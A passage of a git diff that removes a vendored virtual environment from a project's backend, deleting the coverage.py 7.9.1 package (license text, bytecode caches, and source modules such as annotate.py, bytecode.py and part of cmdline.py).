filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS diff --git a/backend/venv/Lib/site-packages/coverage-7.9.1.dist-info/top_level.txt b/backend/venv/Lib/site-packages/coverage-7.9.1.dist-info/top_level.txt deleted file mode 100644 index 4ebc8aea..00000000 --- a/backend/venv/Lib/site-packages/coverage-7.9.1.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -coverage diff --git a/backend/venv/Lib/site-packages/coverage/__init__.py b/backend/venv/Lib/site-packages/coverage/__init__.py deleted file mode 100644 index 1bda8921..00000000 --- a/backend/venv/Lib/site-packages/coverage/__init__.py +++ /dev/null @@ -1,38 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -""" -Code coverage measurement for Python. - -Ned Batchelder -https://coverage.readthedocs.io - -""" - -from __future__ import annotations - -# mypy's convention is that "import as" names are public from the module. -# We import names as themselves to indicate that. Pylint sees it as pointless, -# so disable its warning. -# pylint: disable=useless-import-alias - -from coverage.version import ( - __version__ as __version__, - version_info as version_info, -) - -from coverage.control import ( - Coverage as Coverage, - process_startup as process_startup, -) -from coverage.data import CoverageData as CoverageData -from coverage.exceptions import CoverageException as CoverageException -from coverage.plugin import ( - CodeRegion as CodeRegion, - CoveragePlugin as CoveragePlugin, - FileReporter as FileReporter, - FileTracer as FileTracer, -) - -# Backward compatibility. -coverage = Coverage diff --git a/backend/venv/Lib/site-packages/coverage/__main__.py b/backend/venv/Lib/site-packages/coverage/__main__.py deleted file mode 100644 index ce2d8dbd..00000000 --- a/backend/venv/Lib/site-packages/coverage/__main__.py +++ /dev/null @@ -1,10 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Coverage.py's main entry point.""" - -from __future__ import annotations - -import sys -from coverage.cmdline import main -sys.exit(main()) diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 4a520a3c..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/__main__.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/__main__.cpython-311.pyc deleted file mode 100644 index 57fddc67..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/__main__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/annotate.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/annotate.cpython-311.pyc deleted file mode 100644 index 06ca6cfa..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/annotate.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/bytecode.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/bytecode.cpython-311.pyc deleted file mode 100644 index a3b748db..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/bytecode.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/cmdline.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/cmdline.cpython-311.pyc deleted file mode 100644 index 8d3f9848..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/cmdline.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/collector.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/collector.cpython-311.pyc deleted file mode 100644 index 9bea40a5..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/collector.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/config.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/config.cpython-311.pyc deleted file mode 100644 index 33db5533..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/config.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/context.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/context.cpython-311.pyc deleted file mode 100644 index 92c3489a..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/context.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/control.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/control.cpython-311.pyc deleted file mode 100644 index e703b9fd..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/control.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/core.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/core.cpython-311.pyc deleted file mode 100644 index 174d978f..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/core.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/data.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/data.cpython-311.pyc deleted file mode 100644 index 1fcfafae..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/data.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/debug.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/debug.cpython-311.pyc deleted file mode 100644 index 26ddc352..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/debug.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/disposition.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/disposition.cpython-311.pyc deleted file mode 100644 index 8081b7cd..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/disposition.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/env.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/env.cpython-311.pyc deleted file mode 100644 index 79aa189b..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/env.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/exceptions.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/exceptions.cpython-311.pyc deleted file mode 100644 index baf11624..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/exceptions.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/execfile.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/execfile.cpython-311.pyc deleted file mode 100644 index d9ae7955..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/execfile.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/files.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/files.cpython-311.pyc deleted file mode 100644 index dea1418c..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/files.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/html.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/html.cpython-311.pyc deleted file mode 100644 index 53ed0ea5..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/html.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/inorout.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/inorout.cpython-311.pyc deleted file mode 100644 index c58e61df..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/inorout.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/jsonreport.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/jsonreport.cpython-311.pyc deleted file mode 100644 index c9dfbfa6..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/jsonreport.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/lcovreport.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/lcovreport.cpython-311.pyc deleted file mode 100644 index 4a9948a6..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/lcovreport.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/misc.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/misc.cpython-311.pyc deleted file mode 100644 index b183a221..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/misc.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/multiproc.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/multiproc.cpython-311.pyc deleted file mode 100644 index fd038fc1..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/multiproc.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/numbits.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/numbits.cpython-311.pyc deleted file mode 100644 index f478e71b..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/numbits.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/parser.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/parser.cpython-311.pyc deleted file mode 100644 index 45dbe225..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/parser.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/phystokens.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/phystokens.cpython-311.pyc deleted file mode 100644 index bd860ae1..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/phystokens.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/plugin.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/plugin.cpython-311.pyc deleted file mode 100644 index 161f14aa..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/plugin.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/plugin_support.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/plugin_support.cpython-311.pyc deleted file mode 100644 index f9bb459e..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/plugin_support.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/python.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/python.cpython-311.pyc deleted file mode 100644 index c149ace2..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/python.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/pytracer.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/pytracer.cpython-311.pyc deleted file mode 100644 index 615efd0d..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/pytracer.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/regions.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/regions.cpython-311.pyc deleted file mode 100644 index 25312ef4..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/regions.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/report.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/report.cpython-311.pyc deleted file mode 100644 index b1d32a61..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/report.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/report_core.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/report_core.cpython-311.pyc deleted file mode 100644 index b744da3d..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/report_core.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/results.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/results.cpython-311.pyc deleted file mode 100644 index a8b3c1e1..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/results.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/sqldata.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/sqldata.cpython-311.pyc deleted file mode 100644 index 3383048a..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/sqldata.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/sqlitedb.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/sqlitedb.cpython-311.pyc deleted file mode 100644 index 9cec5cc4..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/sqlitedb.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/sysmon.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/sysmon.cpython-311.pyc deleted file mode 100644 index c86decef..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/sysmon.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/templite.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/templite.cpython-311.pyc deleted file mode 100644 index c35db8e7..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/templite.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/tomlconfig.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/tomlconfig.cpython-311.pyc deleted file mode 100644 index 77cf4653..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/tomlconfig.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/types.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/types.cpython-311.pyc deleted file mode 100644 index 002e384f..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/types.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/version.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/version.cpython-311.pyc deleted file mode 100644 index 8c2517ae..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/version.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/__pycache__/xmlreport.cpython-311.pyc b/backend/venv/Lib/site-packages/coverage/__pycache__/xmlreport.cpython-311.pyc deleted file mode 100644 index 93f0e8b7..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/__pycache__/xmlreport.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/annotate.py b/backend/venv/Lib/site-packages/coverage/annotate.py deleted file mode 100644 index f8c0939f..00000000 --- a/backend/venv/Lib/site-packages/coverage/annotate.py +++ /dev/null @@ -1,115 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Source file annotation for coverage.py.""" - -from __future__ import annotations - -import os -import re - -from typing import TYPE_CHECKING -from collections.abc import Iterable - -from coverage.files import flat_rootname -from coverage.misc import ensure_dir, isolate_module -from coverage.plugin import FileReporter -from coverage.report_core import get_analysis_to_report -from coverage.results import Analysis -from coverage.types import TMorf - -if TYPE_CHECKING: - from coverage import Coverage - -os = isolate_module(os) - - -class AnnotateReporter: - """Generate annotated source files showing line coverage. - - This reporter creates annotated copies of the measured source files. Each - .py file is copied as a .py,cover file, with a left-hand margin annotating - each line:: - - > def h(x): - - if 0: #pragma: no cover - - pass - > if x == 1: - ! a = 1 - > else: - > a = 2 - - > h(2) - - Executed lines use ">", lines not executed use "!", lines excluded from - consideration use "-". - - """ - - def __init__(self, coverage: Coverage) -> None: - self.coverage = coverage - self.config = self.coverage.config - self.directory: str | None = None - - blank_re = re.compile(r"\s*(#|$)") - else_re = re.compile(r"\s*else\s*:\s*(#|$)") - - def report(self, morfs: Iterable[TMorf] | None, directory: str | None = None) -> None: - """Run the report. - - See `coverage.report()` for arguments. - - """ - self.directory = directory - self.coverage.get_data() - for fr, analysis in get_analysis_to_report(self.coverage, morfs): - self.annotate_file(fr, analysis) - - def annotate_file(self, fr: FileReporter, analysis: Analysis) -> None: - """Annotate a single file. - - `fr` is the FileReporter for the file to annotate. - - """ - statements = sorted(analysis.statements) - missing = sorted(analysis.missing) - excluded = sorted(analysis.excluded) - - if self.directory: - ensure_dir(self.directory) - dest_file = os.path.join(self.directory, flat_rootname(fr.relative_filename())) - assert dest_file.endswith("_py") - dest_file = dest_file[:-3] + ".py" - else: - dest_file = fr.filename - dest_file += ",cover" - - with open(dest_file, "w", encoding="utf-8") as dest: - i = j = 0 - covered = True - source = fr.source() - for lineno, line in enumerate(source.splitlines(True), start=1): - while i < len(statements) and statements[i] < lineno: - i += 1 - while j < len(missing) and missing[j] < lineno: - j += 1 - if i < len(statements) and statements[i] == lineno: - covered = j >= len(missing) or missing[j] > lineno - if self.blank_re.match(line): - dest.write(" ") - elif self.else_re.match(line): - # Special logic for lines containing only "else:". - if j >= len(missing): - dest.write("> ") - elif statements[i] == missing[j]: - dest.write("! ") - else: - dest.write("> ") - elif lineno in excluded: - dest.write("- ") - elif covered: - dest.write("> ") - else: - dest.write("! ") - - dest.write(line) diff --git a/backend/venv/Lib/site-packages/coverage/bytecode.py b/backend/venv/Lib/site-packages/coverage/bytecode.py deleted file mode 100644 index bea039c8..00000000 --- a/backend/venv/Lib/site-packages/coverage/bytecode.py +++ /dev/null @@ -1,162 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Bytecode analysis for coverage.py""" - -from __future__ import annotations - -import dis - -from types import CodeType -from typing import Iterable, Optional -from collections.abc import Iterator - -from coverage.types import TArc, TOffset - - -def code_objects(code: CodeType) -> Iterator[CodeType]: - """Iterate over all the code objects in `code`.""" - stack = [code] - while stack: - # We're going to return the code object on the stack, but first - # push its children for later returning. - code = stack.pop() - for c in code.co_consts: - if isinstance(c, CodeType): - stack.append(c) - yield code - - -def op_set(*op_names: str) -> set[int]: - """Make a set of opcodes from instruction names. - - The names might not exist in this version of Python, skip those if not. - """ - return {op for name in op_names if (op := dis.opmap.get(name))} - - -# Opcodes that are unconditional jumps elsewhere. -ALWAYS_JUMPS = op_set( - "JUMP_BACKWARD", - "JUMP_BACKWARD_NO_INTERRUPT", - "JUMP_FORWARD", -) - -# Opcodes that exit from a function. -RETURNS = op_set("RETURN_VALUE", "RETURN_GENERATOR") - - -class InstructionWalker: - """Utility to step through trails of instructions. - - We have two reasons to need sequences of instructions from a code object: - First, in strict sequence to visit all the instructions in the object. - This is `walk(follow_jumps=False)`. Second, we want to follow jumps to - understand how execution will flow: `walk(follow_jumps=True)`. - - """ - - def __init__(self, code: CodeType) -> None: - self.code = code - self.insts: dict[TOffset, dis.Instruction] = {} - - inst = None - for inst in dis.get_instructions(code): - self.insts[inst.offset] = inst - - assert inst is not None - self.max_offset = inst.offset - - def walk( - self, *, start_at: TOffset = 0, follow_jumps: bool = True - ) -> Iterable[dis.Instruction]: - """ - Yield instructions starting from `start_at`. Follow unconditional - jumps if `follow_jumps` is true. - """ - seen = set() - offset = start_at - while offset < self.max_offset + 1: - if offset in seen: - break - seen.add(offset) - if inst := self.insts.get(offset): - yield inst - if follow_jumps and inst.opcode in ALWAYS_JUMPS: - offset = inst.jump_target - continue - offset += 2 - - -TBranchTrail = tuple[set[TOffset], Optional[TArc]] -TBranchTrails = dict[TOffset, list[TBranchTrail]] - - -def branch_trails(code: CodeType) -> TBranchTrails: - """ - Calculate branch trails for `code`. - - Instructions can have a jump_target, where they might jump to next. Some - instructions with a jump_target are unconditional jumps (ALWAYS_JUMPS), so - they aren't interesting to us, since they aren't the start of a branch - possibility. - - Instructions that might or might not jump somewhere else are branch - possibilities. For each of those, we track a trail of instructions. These - are lists of instruction offsets, the next instructions that can execute. - We follow the trail until we get to a new source line. That gives us the - arc from the original instruction's line to the new source line. - - """ - the_trails: TBranchTrails = {} - iwalker = InstructionWalker(code) - for inst in iwalker.walk(follow_jumps=False): - if not inst.jump_target: - # We only care about instructions with jump targets. - continue - if inst.opcode in ALWAYS_JUMPS: - # We don't care about unconditional jumps. - continue - - from_line = inst.line_number - if from_line is None: - continue - - def walk_one_branch(start_at: TOffset) -> TBranchTrail: - # pylint: disable=cell-var-from-loop - inst_offsets: set[TOffset] = set() - to_line = None - for inst2 in iwalker.walk(start_at=start_at): - inst_offsets.add(inst2.offset) - if inst2.line_number and inst2.line_number != from_line: - to_line = inst2.line_number - break - elif inst2.jump_target and (inst2.opcode not in ALWAYS_JUMPS): - break - elif inst2.opcode in RETURNS: - to_line = -code.co_firstlineno - break - if to_line is not None: - return inst_offsets, (from_line, to_line) - else: - return set(), None - - # Calculate two trails: one from the next instruction, and one from the - # jump_target instruction. - trails = [ - walk_one_branch(start_at=inst.offset + 2), - walk_one_branch(start_at=inst.jump_target), - ] - the_trails[inst.offset] = trails - - # Sometimes we get BRANCH_RIGHT or BRANCH_LEFT events from instructions - # other than the original jump possibility instruction. Register each - # trail under all of their offsets so we can pick up in the middle of a - # trail if need be. - for trail in trails: - for offset in trail[0]: - if offset not in the_trails: - the_trails[offset] = [] - the_trails[offset].append(trail) - - return the_trails diff --git a/backend/venv/Lib/site-packages/coverage/cmdline.py b/backend/venv/Lib/site-packages/coverage/cmdline.py deleted file mode 100644 index 998e6b39..00000000 --- a/backend/venv/Lib/site-packages/coverage/cmdline.py +++ /dev/null @@ -1,1009 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Command-line support for coverage.py.""" - -from __future__ import annotations - -import glob -import optparse -import os -import os.path -import shlex -import sys -import textwrap -import traceback - -from typing import cast, Any, NoReturn - -import coverage -from coverage import Coverage -from coverage import env -from coverage.config import CoverageConfig -from coverage.control import DEFAULT_DATAFILE -from coverage.core import CTRACER_FILE -from coverage.data import combinable_files, debug_data_file -from coverage.debug import info_header, short_stack, write_formatted_info -from coverage.exceptions import _BaseCoverageException, _ExceptionDuringRun, NoSource -from coverage.execfile import PyRunner -from coverage.results import display_covered, should_fail_under -from coverage.version import __url__ - -# When adding to this file, alphabetization is important. Look for -# "alphabetize" comments throughout. - -class Opts: - """A namespace class for individual options we'll build parsers from.""" - - # Keep these entries alphabetized (roughly) by the option name as it - # appears on the command line. - - append = optparse.make_option( - "-a", "--append", action="store_true", - help="Append coverage data to .coverage, otherwise it starts clean each time.", - ) - branch = optparse.make_option( - "", "--branch", action="store_true", - help="Measure branch coverage in addition to statement coverage.", - ) - concurrency = optparse.make_option( - "", "--concurrency", action="store", metavar="LIBS", - help=( - "Properly measure code using a concurrency library. " + - "Valid values are: {}, or a comma-list of them." - ).format(", ".join(sorted(CoverageConfig.CONCURRENCY_CHOICES))), - ) - context = optparse.make_option( - "", "--context", action="store", metavar="LABEL", - help="The context label to record for this coverage run.", - ) - contexts = optparse.make_option( - "", "--contexts", action="store", metavar="REGEX1,REGEX2,...", - help=( - "Only display data from lines covered in the given contexts. " + - "Accepts Python regexes, which must be quoted." - ), - ) - datafile = optparse.make_option( - "", "--data-file", action="store", metavar="DATAFILE", - help=( - "Base name of the data files to operate on. " + - "Defaults to '.coverage'. [env: COVERAGE_FILE]" - ), - ) - datafle_input = optparse.make_option( - "", "--data-file", action="store", metavar="INFILE", - help=( - "Read coverage data for report generation from this file. " + - "Defaults to '.coverage'. [env: COVERAGE_FILE]" - ), - ) - datafile_output = optparse.make_option( - "", "--data-file", action="store", metavar="OUTFILE", - help=( - "Write the recorded coverage data to this file. " + - "Defaults to '.coverage'. [env: COVERAGE_FILE]" - ), - ) - debug = optparse.make_option( - "", "--debug", action="store", metavar="OPTS", - help="Debug options, separated by commas. [env: COVERAGE_DEBUG]", - ) - directory = optparse.make_option( - "-d", "--directory", action="store", metavar="DIR", - help="Write the output files to DIR.", - ) - fail_under = optparse.make_option( - "", "--fail-under", action="store", metavar="MIN", type="float", - help="Exit with a status of 2 if the total coverage is less than MIN.", - ) - format = optparse.make_option( - "", "--format", action="store", metavar="FORMAT", - help="Output format, either text (default), markdown, or total.", - ) - help = optparse.make_option( - "-h", "--help", action="store_true", - help="Get help on this command.", - ) - ignore_errors = optparse.make_option( - "-i", "--ignore-errors", action="store_true", - help="Ignore errors while reading source files.", - ) - include = optparse.make_option( - "", "--include", action="store", metavar="PAT1,PAT2,...", - help=( - "Include only files whose paths match one of these patterns. " + - "Accepts shell-style wildcards, which must be quoted." - ), - ) - keep = optparse.make_option( - "", "--keep", action="store_true", - help="Keep original coverage files, otherwise they are deleted.", - ) - pylib = optparse.make_option( - "-L", "--pylib", action="store_true", - help=( - "Measure coverage even inside the Python installed library, " + - "which isn't done by default." - ), - ) - show_missing = optparse.make_option( - "-m", "--show-missing", action="store_true", - help="Show line numbers of statements in each module that weren't executed.", - ) - module = optparse.make_option( - "-m", "--module", action="store_true", - help=( - " is an importable Python module, not a script path, " + - "to be run as 'python -m' would run it." - ), - ) - omit = optparse.make_option( - "", "--omit", action="store", metavar="PAT1,PAT2,...", - help=( - "Omit files whose paths match one of these patterns. " + - "Accepts shell-style wildcards, which must be quoted." - ), - ) - output_xml = optparse.make_option( - "-o", "", action="store", dest="outfile", metavar="OUTFILE", - help="Write the XML report to this file. Defaults to 'coverage.xml'", - ) - output_json = optparse.make_option( - "-o", "", action="store", dest="outfile", metavar="OUTFILE", - help="Write the JSON report to this file. Defaults to 'coverage.json'", - ) - output_lcov = optparse.make_option( - "-o", "", action="store", dest="outfile", metavar="OUTFILE", - help="Write the LCOV report to this file. Defaults to 'coverage.lcov'", - ) - json_pretty_print = optparse.make_option( - "", "--pretty-print", action="store_true", - help="Format the JSON for human readers.", - ) - parallel_mode = optparse.make_option( - "-p", "--parallel-mode", action="store_true", - help=( - "Append the machine name, process id and random number to the " + - "data file name to simplify collecting data from " + - "many processes." - ), - ) - precision = optparse.make_option( - "", "--precision", action="store", metavar="N", type=int, - help=( - "Number of digits after the decimal point to display for " + - "reported coverage percentages." - ), - ) - quiet = 